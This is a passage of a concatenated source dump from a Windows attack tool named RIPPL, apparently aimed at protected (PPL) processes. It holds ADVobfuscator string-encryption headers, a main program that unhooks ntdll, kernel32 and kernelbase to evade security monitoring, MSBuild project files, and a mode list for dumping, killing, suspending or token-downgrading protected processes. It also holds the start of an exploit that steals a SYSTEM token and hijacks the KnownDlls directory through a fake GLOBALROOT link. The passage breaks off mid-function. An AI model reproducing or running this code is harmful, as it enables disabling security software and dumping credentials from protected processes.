//
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Get latest version on https://github.com/andrivet/ADVobfuscator
#ifndef MetaString_h
#define MetaString_h
#include "Inline.h"
#include "Indexes.h"
#include "MetaRandom.h"
#include "Log.h"
namespace andrivet { namespace ADVobfuscator {
// Represents an obfuscated string, parametrized with an alrorithm number N, a list of indexes Indexes and a key Key
template<int N, char Key, typename Indexes>
struct MetaString;
template<int N, char Key, typename Indexes>
struct MetaWString;
// Partial specialization with a list of indexes I, a key K and algorithm N = 0
// Each character is encrypted (OBFUSCATED) with the same key
template<char K, int... I>
struct MetaString<0, K, Indexes<I...>>
{
// Constructor. Evaluated at compile time.
constexpr ALWAYS_INLINE MetaString(const char* str)
: key_{K}, buffer_ {encrypt(str[I], K)...} { }
// Runtime decryption. Most of the time, inlined
inline const char* decrypt()
{
for(size_t i = 0; i < sizeof...(I); ++i)
buffer_[i] = decrypt(buffer_[i]);
buffer_[sizeof...(I)] = 0;
LOG("--- Implementation #" << 0 << " with key 0x" << hex(key_));
return const_cast<const char*>(buffer_);
}
private:
// Encrypt / decrypt a character of the original string with the key
constexpr char key() const { return key_; }
constexpr char ALWAYS_INLINE encrypt(char c, int k) const { return c ^ k; }
constexpr char decrypt(char c) const { return encrypt(c, key()); }
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
};
template<char K, int... I>
struct MetaWString<0, K, Indexes<I...>>
{
// Constructor. Evaluated at compile time.
constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)
: key_{ K }, buffer_{ encrypt(str[I], K)... } { }
// Runtime decryption. Most of the time, inlined
inline const wchar_t* decrypt()
{
for (size_t i = 0; i < sizeof...(I); ++i)
buffer_[i] = decrypt(buffer_[i]);
buffer_[sizeof...(I)] = 0;
LOG("--- Implementation #" << 0 << " with key 0x" << hex(key_));
return const_cast<const wchar_t*>(buffer_);
}
private:
// Encrypt / decrypt a character of the original string with the key
constexpr wchar_t key() const { return key_; }
constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, int k) const { return c ^ k; }
constexpr wchar_t decrypt(wchar_t c) const { return encrypt(c, key()); }
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
};
// Partial specialization with a list of indexes I, a key K and algorithm N = 1
// Each character is encrypted (OBFUSCATED) with an incremented key.
template<char K, int... I>
struct MetaString<1, K, Indexes<I...>>
{
// Constructor. Evaluated at compile time.
constexpr ALWAYS_INLINE MetaString(const char* str)
: key_(K), buffer_ {encrypt(str[I], I)...} { }
// Runtime decryption. Most of the time, inlined
inline const char* decrypt()
{
for(size_t i = 0; i < sizeof...(I); ++i)
buffer_[i] = decrypt(buffer_[i], i);
buffer_[sizeof...(I)] = 0;
LOG("--- Implementation #" << 1 << " with key 0x" << hex(key_));
return const_cast<const char*>(buffer_);
}
private:
// Encrypt / decrypt a character of the original string with the key
constexpr char key(size_t position) const { return static_cast<char>(key_ + position); }
constexpr char ALWAYS_INLINE encrypt(char c, size_t position) const { return c ^ key(position); }
constexpr char decrypt(char c, size_t position) const { return encrypt(c, position); }
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
};
template<char K, int... I>
struct MetaWString<1, K, Indexes<I...>>
{
// Constructor. Evaluated at compile time.
constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)
: key_(K), buffer_{ encrypt(str[I], I)... } { }
// Runtime decryption. Most of the time, inlined
inline const wchar_t* decrypt()
{
for (size_t i = 0; i < sizeof...(I); ++i)
buffer_[i] = decrypt(buffer_[i], i);
buffer_[sizeof...(I)] = 0;
LOG("--- Implementation #" << 1 << " with key 0x" << hex(key_));
return const_cast<const wchar_t*>(buffer_);
}
private:
// Encrypt / decrypt a character of the original string with the key
constexpr wchar_t key(size_t position) const { return static_cast<wchar_t>(key_ + position); }
constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, size_t position) const { return c ^ key(position); }
constexpr wchar_t decrypt(wchar_t c, size_t position) const { return encrypt(c, position); }
volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler
volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte
};
// Partial specialization with a list of indexes I, a key K and algorithm N = 2
// Shift the value of each character and does not store the key. It is only used at compile-time.
template<char K, int... I>
struct MetaString<2, K, Indexes<I...>>
{
// Constructor. Evaluated at compile time. Key is *not* stored
constexpr ALWAYS_INLINE MetaString(const char* str)
: buffer_ {encrypt(str[I])..., 0} { }
// Runtime decryption. Most of the time, inlined
inline const char* decrypt()
{
for(size_t i = 0; i < sizeof...(I); ++i)
buffer_[i] = decrypt(buffer_[i]);
LOG("--- Implementation #" << 2 << " with key 0x" << hex(K));
return const_cast<const char*>(buffer_);
}
private:
// Encrypt / decrypt a character of the original string with the key
// Be sure that the encryption key is never 0.
constexpr char key(char key) const { return 1 + (key % 13); }
constexpr char ALWAYS_INLINE encrypt(char c) const { return c + key(K); }
constexpr char decrypt(char c) const { return c - key(K); }
// Buffer to store the encrypted string + terminating null byte. Key is not stored
volatile char buffer_[sizeof...(I) + 1];
};
template<char K, int... I>
struct MetaWString<2, K, Indexes<I...>>
{
// Constructor. Evaluated at compile time. Key is *not* stored
constexpr ALWAYS_INLINE MetaWString(const wchar_t* str)
: buffer_{ encrypt(str[I])..., 0 } { }
// Runtime decryption. Most of the time, inlined
inline const wchar_t* decrypt()
{
for (size_t i = 0; i < sizeof...(I); ++i)
buffer_[i] = decrypt(buffer_[i]);
LOG("--- Implementation #" << 2 << " with key 0x" << hex(K));
return const_cast<const wchar_t*>(buffer_);
}
private:
// Encrypt / decrypt a character of the original string with the key
// Be sure that the encryption key is never 0.
constexpr wchar_t key(wchar_t key) const { return 1 + (key % 13); }
constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c) const { return c + key(K); }
constexpr wchar_t decrypt(wchar_t c) const { return c - key(K); }
// Buffer to store the encrypted string + terminating null byte. Key is not stored
volatile wchar_t buffer_[sizeof...(I) + 1];
};
// Helper to generate a key
template<int N>
struct MetaRandomChar
{
// Use 0x7F as maximum value since most of the time, char is signed (we have however 1 bit less of randomness)
static const char value = static_cast<char>(1 + MetaRandom<N, 0x7F - 1>::value);
};
}}
// Prefix notation
#define DEF_OBFUSCATED(str) andrivet::ADVobfuscator::MetaString<andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 3>::value, andrivet::ADVobfuscator::MetaRandomChar<__COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes<sizeof(str) - 1>::type>(str)
#define DEF_OBFUSCATEDW(str) andrivet::ADVobfuscator::MetaWString<andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 3>::value, andrivet::ADVobfuscator::MetaRandomChar<__COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes<sizeof(str) - 1>::type>(str)
#define OBFUSCATED(str) (DEF_OBFUSCATED(str).decrypt())
#define OBFUSCATEDW(str) (DEF_OBFUSCATEDW(str).decrypt())
#endif
================================================
FILE: RIPPL/RIPPL.cpp
================================================
#include "exploit.h"
BOOL g_bDebug = false;
BOOL g_bForce = false;
DWORD g_dwProcessId = 0;
LPWSTR g_pwszExecutionMode = nullptr;
LPWSTR g_pwszDumpFilePath = nullptr;
LPWSTR g_pwszProcessName = nullptr;
int g_intExecutionMode = -1;
int wmain(int argc, wchar_t* argv[])
{
wil::unique_handle permaThread;
if (!ParseArguments(argc, argv))
return 1;
std::vector<const wchar_t*> dllsToUnhook
{
skCrypt(L"ntdll.dll"),
skCrypt(L"kernel32.dll"),
skCrypt(L"kernelbase.dll")
};
for (auto dll : dllsToUnhook)
{
if (!UnhookDll(dll)) return -1;
}
PRINTARGUMENTS();
if (g_pwszProcessName != NULL && g_intExecutionMode != DRIVER_UNLOAD_MODE)
{
DWORD dwProcessId = 0;
if (ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId))
{
PRINTDEBUG(L"[*] Found a process with name '%ws' and PID %d\n", g_pwszProcessName, dwProcessId);
DWORD tid = 0;
auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),
&RunExploit, (LPVOID)dwProcessId, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,
0, 0, 0, nullptr);
if(status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE);
}
}
else if (g_dwProcessId != 0 && g_intExecutionMode != DRIVER_UNLOAD_MODE)
{
auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),
&RunExploit, (LPVOID)g_dwProcessId, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,
0, 0, 0, nullptr);
if (status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE);
}
else
{
auto runZero = 0;
auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),
&RunExploit, (LPVOID)runZero, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,
0, 0, 0, nullptr);
if (status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE);
}
return 0;
}
================================================
FILE: RIPPL/RIPPL.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{fce81bda-acac-4892-969e-0414e765593b}</ProjectGuid>
<RootNamespace>RIPPL</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>RIPPL</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)_unsigned</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>
</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Manifest>
<AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>
</Manifest>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>
</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
<Manifest>
<AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>
</Manifest>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>
</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Manifest>
<AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>
</Manifest>
<PostBuildEvent>
<Command>python3.exe $(SolutionDir)postbuild_RIPPL.py</Command>
</PostBuildEvent>
<PreBuildEvent>
<Command>python3.exe $(SolutionDir)DLL_encrypt.py</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>
</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<InlineFunctionExpansion>Default</InlineFunctionExpansion>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<LanguageStandard>stdcpp17</LanguageStandard>
<Optimization>MinSpace</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
<Manifest>
<AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>
</Manifest>
<PostBuildEvent>
<Command>call $(SolutionDir)postbuild.bat</Command>
</PostBuildEvent>
<PreBuildEvent>
<Command>python3.exe $(SolutionDir)DLL_encrypt.py</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="exploit.cpp" />
<ClCompile Include="RIPPL.cpp" />
<ClCompile Include="utils.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="common.hpp" />
<ClInclude Include="exploit.h" />
<ClInclude Include="lazy_importer.hpp" />
<ClInclude Include="ntdll.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="skCrypter.hpp" />
<ClInclude Include="utils.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="RIPPL.rc">
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">WIN32;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">WIN32;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<None Include="..\Release\RIPPLDLL.dll" />
<None Include="..\x64\Release\RIPPLDLL.dll" />
<None Include="packages.config" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="..\packages\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('..\packages\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\packages\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>
================================================
FILE: RIPPL/RIPPL.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="exploit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="utils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="RIPPL.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="exploit.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ntdll.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="utils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="resource.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="lazy_importer.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="common.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="skCrypter.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="..\x64\Release\RIPPLDLL.dll" />
<None Include="..\Release\RIPPLDLL.dll" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="RIPPL.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
</Project>
================================================
FILE: RIPPL/Unroller.h
================================================
//
// Unroller.h
// ADVobfuscator
//
// Copyright (c) 2010-2017, Sebastien Andrivet
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Get latest version on https://github.com/andrivet/ADVobfuscator
#ifndef Unroller_h
#define Unroller_h
// Unroll a loop
namespace andrivet { namespace ADVobfuscator {
template <int N>
struct Unroller
{
template<typename F, typename... Args>
inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward<F>(f)(std::forward<Args>(args)...))
{
Unroller<N-1>{}(std::forward<F>(f), std::forward<Args>(args)...);
return std::forward<F>(f)(std::forward<Args>(args)...);
}
};
template <>
struct Unroller<1>
{
template<typename F, typename... Args>
inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward<F>(f)(std::forward<Args>(args)...))
{
return std::forward<F>(f)(std::forward<Args>(args)...);
}
};
}}
#endif
================================================
FILE: RIPPL/common.hpp
================================================
#pragma once
#pragma warning(disable: 4390)
#define DUMP_MODE 0 // -D
#define KILL_MODE 1 // -K
#define SUSPEND_MODE 2 // -S
#define RESUME_MODE 3 // -R
#define LEAK_MODE 4 // -L
#define JOB_SUPPRESS_MODE 5 // -X
#define JOB_KILL_MODE 6 // -W
#define SUICIDE_MODE 7 // -Z
#define TOKEN_DOWNGRADE_MODE 8 // -T
#define DRIVER_UNLOAD_MODE 9 // -U
//#define OPSEC // OPSEC enabling macro, if defined the program will not output verbose output and won't have embedded strings (aside from the Success or Fail)
#include <Windows.h>
#include <Lmcons.h>
#include <strsafe.h>
#include <tlhelp32.h>
#include <comdef.h>
#include <sddl.h>
#include <wil/resource.h>
#include <psapi.h>
#include <aclapi.h>
#include <iostream>
#include <vector>
#include <string>
#include "lazy_importer.hpp"
#include "ntdll.h"
#include "skCrypter.hpp"
================================================
FILE: RIPPL/exploit.cpp
================================================
#include "exploit.h"
_Success_(return)
BOOL RunExploit(_In_ DWORD dwProcessId)
{
BOOL bReturnValue = FALSE;
BOOL bCurrentUserIsSystem = FALSE;
HANDLE hSystemToken = NULL;
BOOL bImpersonationActive = FALSE;
// STEP 1
LPCWSTR pwszKnownDllsObjDir = skCrypt(L"\\GLOBAL??\\KnownDlls");
HANDLE hKnownDllsObjDir = NULL;
// STEP 2
LPWSTR pwszDllToHijack = NULL;
LPWSTR pwszDllLinkName = NULL;
HANDLE hDllLink = NULL;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
// STEP 3
LPCWSTR pwszFakeGlobalrootLinkName = skCrypt(L"\\??\\GLOBALROOT");
LPCWSTR pwszFakeGlobalrootLinkTarget = skCrypt(L"\\GLOBAL??");
HANDLE hFakeGlobalrootLink = NULL;
HANDLE hLocalServiceToken = NULL;
// STEP 4
LPWSTR pwszDosDeviceName = NULL;
LPWSTR pwszDosDeviceTargetPath = NULL;
// STEP 5
LPWSTR pwszSectionName = NULL;
HANDLE hDllSection = NULL;
// STEP 6
LPWSTR pwszCommandLine = NULL;
HANDLE hCurrentToken = NULL;
HANDLE hNewProcessToken = NULL;
HANDLE hNewProcess = NULL;
DWORD dwExitCode = 0;
// SYNCHRONIZATION
HANDLE hEventDllLoaded = NULL, hEventExploitSuccess = NULL;
BOOL bDllLoaded = FALSE, bExploitSuccess = FALSE;
WCHAR wszEventName[MAX_PATH] = { 0 };
LPWSTR pwszGuid = NULL;
DWORD dwWait = 0;
PRINTDEBUG(L"Check requirements\n", bCurrentUserIsSystem);
if (!CheckRequirements())
goto end;
PRINTDEBUG(L"[*] Requirements OK\n");
PRINTDEBUG(L"Get the name of the DLL to hijack\n");
if (!GetHijackableDllName(&pwszDllToHijack))
goto end;
PRINTDEBUG(L"[*] DLL to hijack: %ws\n", pwszDllToHijack);
if (!IsCurrentUserSystem(&bCurrentUserIsSystem))
goto end;
if (g_bDebug)
PRINTDEBUG(L"[*] Current user is SYSTEM? -> %ws\n", bCurrentUserIsSystem ? L"TRUE" : L"FALSE");
//
// 1. Create the object directory '\GLOBAL??\KnownDlls'.
//
// When executed as an administrator, this fails (access denied). Thanks to WinObj, we can
// see that Administrators do have the "Add Object" right but the corresponding ACE applies
// to child objects only, which means that they cannot add objects in the directory
// '\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will
// search for SYSTEM tokens among the running processes and steal one. This requires both
// SeImpersonatePrivilege and SeDebugPrivilege.
// Note: as long as the object is not marked as "permanent", we do not need to remove it
// manually. When we close the last handle, the object is removed automatically.
//
if (!bCurrentUserIsSystem)
{
if (!ImpersonateSystem(&hSystemToken))
goto end;
bImpersonationActive = TRUE;
PRINTDEBUG(L"[*] Impersonating SYSTEM...\n");
}
PRINTDEBUG(L"Create object directory '%ws'...\n", pwszKnownDllsObjDir);
if (!(hKnownDllsObjDir = ObjectManagerCreateDirectory(pwszKnownDllsObjDir)))
goto end;
PRINTDEBUG(L"[*] Created Object Directory: '%ws'\n", pwszKnownDllsObjDir);
//
